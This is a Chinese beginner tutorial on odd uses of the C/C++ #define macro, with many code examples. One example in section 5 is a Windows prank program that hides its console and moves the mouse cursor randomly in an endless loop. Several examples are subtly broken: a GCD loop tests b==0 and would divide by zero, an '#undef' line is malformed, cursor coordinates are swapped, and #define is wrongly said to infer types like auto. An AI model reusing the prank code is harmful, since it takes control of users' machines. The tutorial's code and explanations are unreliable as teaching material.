淺談C++/C關(guān)于#define的那些奇奇怪怪的用法
前言
眾所周知，#define(也就是宏定義)在C++/C里用處很廣泛。對(duì)于一個(gè)萌新小白來說，宏定義有以下幾種用法：
1 縮減代碼
第一種用法與typedef類似，而且比typedef應(yīng)用得更廣泛。舉個(gè)例子，在以下C++程序中，unsigned int出現(xiàn)的實(shí)在是太多了。
#include<bits/stdc++.h>
using namespace std;
unsigned int n;
int main()
{
cin>>n;
for(unsigned int i=0;i<n;i++)
{
unsigned int a,b;
cin>>a>>b;
while(b==0)
{
unsigned int r=a%b;
a=b;b=r;
}
cout<<a<<endl;
}
return 0;
}
那該怎么辦呢？其實(shí)只需要加一行這樣的代碼，然后再把unsigned int改成ui就可以了。
#define ui unsigned int
這樣的話程序就簡(jiǎn)短了很多。
#include<bits/stdc++.h>
#define ui unsigned int
//也可以寫作typedef unsigned int ui
using namespace std;
ui n;
int main()
{
cin>>n;
for(ui i=0;i<n;i++)
{
ui a,b;
cin>>a>>b;
while(b==0)
{
ui r=a%b;
a=b;b=r;
}
cout<<a<<endl;
}
return 0;
}
2 定義變量
第二種用法與const auto(不一定是int)相似。當(dāng)我們想寫一段這樣的代碼時(shí)，我們可以用const int寫以避免重復(fù)出現(xiàn)100005：
#include<bits/stdc++.h>
using namespace std;
const int N=100005;
int a[N],b[N],c[N],ans[N];
int main()
{
int n;
cin>>n;
for(int i=0;i<n;i++) cin>>a[i]>>b[i]>>c[i];
for(int i=0;i<n;i++) ans[i]=a[i]+b[i]-c[i];
for(int i=0;i<n;i++) cout<<ans[i]<<' ';
return 0;
}
#define也有這個(gè)功能。它可以根據(jù)賦的“值”(不一定是值)判斷改用哪種數(shù)據(jù)類型(這里就不細(xì)講了)，與auto的功能相似。因此，我們也可以這樣寫：
#include<bits/stdc++.h>+
#define N 100005//會(huì)根據(jù)后面的量以決定數(shù)據(jù)類型
using namespace std;
int a[N],b[N],c[N],ans[N];
int main()
{
int n;
cin>>n;
for(int i=0;i<n;i++) cin>>a[i]>>b[i]>>c[i];
for(int i=0;i<n;i++) ans[i]=a[i]+b[i]-c[i];
for(int i=0;i<n;i++) cout<<ans[i]<<' ';
return 0;
}
以下是#define的基礎(chǔ)用法。其實(shí)，#define還有一些其他功能。
3 代替函數(shù)
以以下程序?yàn)槔谳敵霏h(huán)節(jié)多次出現(xiàn)了同一行代碼。那該怎么辦呢？
#include<bits/stdc++.h>
using namespace std;
multiset<int>s;int n,m;
multiset<int>::iterator it,ie;
int main()
{
cin>>n;
for(int i=1;i<=n;i++)
{
cin>>m;
s.insert(m);
}
for(it=s.begin();it!=s.end();it++)
{
if(it!=s.begin())
{if(*it!=*ie) cout<<*it<<' '<<s.count(*it)<<endl;}
else cout<<*it<<' '<<s.count(*it)<<endl;
ie=it;
}
return 0;
}
我們可以寫一個(gè)輸出函數(shù)。這樣的話程序就變成了這個(gè)樣子：
#include<bits/stdc++.h>
using namespace std;
multiset<int>s;int n,m;
multiset<int>::iterator it,ie;
void sc(multiset<int>::iterator a)
{cout<<*a<<' '<<s.count(*a)<<endl;}
int main()
{
cin>>n;
for(int i=1;i<=n;i++)
{
cin>>m;
s.insert(m);
}
for(it=s.begin();it!=s.end();it++)
{
if(it!=s.begin())
{if(*it!=*ie) sc(it);}
else sc(it);
ie=it;
}
return 0;
}
同時(shí)我們也可以用#define對(duì)程序進(jìn)行再一次優(yōu)化(這是typedef做不到的)。這樣的話程序代碼就會(huì)大大縮減。
#include<bits/stdc++.h>
#define tor multiset<int>::iterator
#define mi multiset<int>
using namespace std;
mi s;int n,m;tor it,ie;
void sc(tor a)
{cout<<*a<<' '<<s.count(*a)<<endl;}
int main()
{
cin>>n;
for(int i=1;i<=n;i++)
{
cin>>m;
s.insert(m);
}
for(it=s.begin();it!=s.end();it++)
{
if(it!=s.begin())
{if(*it!=*ie) sc(it);}
else sc(it);
ie=it;
}
return 0;
}
但其實(shí)輸出函數(shù)那一部分也可以用#define做。可以用#define這樣寫輸出函數(shù)：
#define sc(a) cout<<*a<<' '<<s.count(*a)<<endl;//不需要tor,否則會(huì)報(bào)錯(cuò)
可以發(fā)現(xiàn)，這里的功能是不需要tor的。所以可以發(fā)現(xiàn)，這個(gè)功能是第二個(gè)功能的衍生功能?？偨Y(jié)一下，就是#define可以代替一些簡(jiǎn)單函數(shù)。
4 函數(shù)做不到的功能
同時(shí)，#define也可以做到一些函數(shù)做不到的功能。比如說，前面這段程序還可以繼續(xù)簡(jiǎn)化成這樣：
#include<bits/stdc++.h>+
#define N 100005
#define go(n) for(int i=0;i<n;i++)
using namespace std;
int a[N],b[N],c[N],ans[N];
int main()
{
int n;
cin>>n;
go(n) cin>>a[i]>>b[i]>>c[i];
go(n) ans[i]=a[i]+b[i]-c[i];
go(n) cout<<ans[i]<<' ';
return 0;
}
那這是為什么呢？因?yàn)?define還可以用來代替重復(fù)出現(xiàn)多次的代碼。
運(yùn)用這個(gè)方法，我們可以用C語(yǔ)言寫以下程序：
#include<stdio.h>
#define N 100005
#define go(n) for(int i=0;i<n;i++)
int a[N],n,b[N];
int main()
{
scanf("%d",&n);
go(n) scanf("%d",&a[i]);
go(n)
{
if(i==0) b[i]=a[i]+a[n-1];
else b[i]=a[i]+a[i-1];
printf("%d ",b[i]);
}
return 0;
}
而且這個(gè)程序還能通過編譯！所以#define是可以套循環(huán)的。
同時(shí)我們還可以用#define寫一個(gè)forever(Scratch上死循環(huán)的英文)：
#define forever() for(int i=0;;i++)
或者這樣寫forever：
#define forever(i) for(i=0;;i++)
這樣寫死循環(huán)時(shí)就便利多了(話說while(1>0)它不香嗎)。
5 一些有些"邪門"的用法
那#define既然那么好用，那有沒有一些邪門點(diǎn)的用法？當(dāng)然有。
比如說以下這一段C語(yǔ)言程序就把"邪門"二字刻在了腦門上：
#include<stdio.h>
#define forever(i,j) for(int i=0;;i++)
int I,love,you;
void dear(int d,int s,int x)
{
forever(s,x) dear(d,s,x);
}
int main()
{
scanf("%d%d%d",&I,&love,&you);
forever(love,you) dear(I,love,you);
}
不說遞歸加循環(huán)把程序卡死，這變量用的也太陰間了吧！這還是C語(yǔ)言程序？(看來這才是forever的真正用法。)
好了，回到正題。那能不能用#define對(duì)#include進(jìn)行縮減？這里以下方的C++程序?yàn)槔?/p>
#include<bits/stdc++.h>
#include<windows.h>
using namespace std;
void HideScreen()
{
HWND hwnd;
hwnd=FindWindow("ConsoleWindowClass",NULL);
if(hwnd) ShowWindow(hwnd,SW_HIDE);
return;
}//千萬別試！
int main()
{
HideScreen();
int x=GetSystemMetrics(SM_CXSCREEN);
int y=GetSystemMetrics(SM_CYSCREEN);
for(int i=0;;i++){SetCursorPos(rand()%y,rand()%x);}
return 0;
}
在這個(gè)程序中，我們是否能在第二行添加#define語(yǔ)句來縮減#include<windows.h>?很可惜，這通不過編譯。C++/C語(yǔ)言的#define是不可以對(duì)帶"#"號(hào)的指令進(jìn)行宏定義的。
6 與#define有關(guān)聯(lián)的帶“#”號(hào)指令
如果你寫了那么一個(gè)程序，然后想把程序里的int和long long統(tǒng)一，那該怎么辦(雖然這樣做對(duì)程序沒有影響)？是把long long全部改成int嗎?可這樣太麻煩了。
#include<bits/stdc++.h>
#define int long long
#define N 100001
using namespace std;
int m,n,ans,cnt=0,sum=0,li,lj,ri,rj,a[250][250];
void dg(int i,int j)
{
if(i<li) li=i;
if(j<lj) lj=j;
if(i>ri) ri=i;
if(j>rj) rj=j;
ans++;a[i][j]=0;
if(a[i][j-1]==1) dg(i,j-1);
if(a[i][j+1]==1) dg(i,j+1);
if(a[i-1][j]==1) dg(i-1,j);
if(a[i+1][j]==1) dg(i+1,j);
}
void cdr(long long n,long long m)
{
memset(a,-1,sizeof(a));
char c;
for(long long i=1;i<=n;i++)
{
for(long long j=1;j<=m;j++)
{
cin>>c;
if(c=='#') a[i][j]=1;
}
}
}
int main()
{
cin>>n>>m;
cdr(n,m);
for(long long i=1;i<=n;i++)
{
for(long long j=1;j<=m;j++)
{
if(a[i][j]==1)
{
li=ri=i;lj=rj=j;
ans=0;dg(i,j);
if((ri-li+1)*(rj-lj+1)==ans) cnt++;
else sum++;
}
}
}
cout<<cnt<<endl<<sum;
return 0;
}
其實(shí)，你只需要在函數(shù)cdr前面加一句代碼就行了：
#undef int long long
加上代碼后話程序就變成了這樣：
#include<bits/stdc++.h>
#define int long long
#define N 100001
using namespace std;
int m,n,ans,cnt=0,sum=0,li,lj,ri,rj,a[250][250];
void dg(int i,int j)
{
if(i<li) li=i;
if(j<lj) lj=j;
if(i>ri) ri=i;
if(j>rj) rj=j;
ans++;a[i][j]=0;
if(a[i][j-1]==1) dg(i,j-1);
if(a[i][j+1]==1) dg(i,j+1);
if(a[i-1][j]==1) dg(i-1,j);
if(a[i+1][j]==1) dg(i+1,j);
}
#undef int long long
void cdr(long long n,long long m)
{
memset(a,-1,sizeof(a));
char c;
for(long long i=1;i<=n;i++)
{
for(long long j=1;j<=m;j++)
{
cin>>c;
if(c=='#') a[i][j]=1;
}
}
}
int main()
{
cin>>n>>m;
cdr(n,m);
for(long long i=1;i<=n;i++)
{
for(long long j=1;j<=m;j++)
{
if(a[i][j]==1)
{
li=ri=i;lj=rj=j;
ans=0;dg(i,j);
if((ri-li+1)*(rj-lj+1)==ans) cnt++;
else sum++;
}
}
}
cout<<cnt<<endl<<sum;
return 0;
}
這便是C/C++中的#undef指令。這樣的話，這行代碼后面的long long還是用long long表示，與前面的int等價(jià)。
另外，C/C++還有#ifdef，#ifndef，#elif，#if，#endif，#if……#else，#error等與宏定義有關(guān)的指令可以供您使用，但入門階段只需要知道#define就行了。
到此這篇關(guān)于淺談C++/C關(guān)于#define的那些奇奇怪怪的用法的文章就介紹到這了,更多相關(guān)C++/C #define用法內(nèi)容請(qǐng)搜索腳本之家以前的文章或繼續(xù)瀏覽下面的相關(guān)文章希望大家以后多多支持腳本之家！
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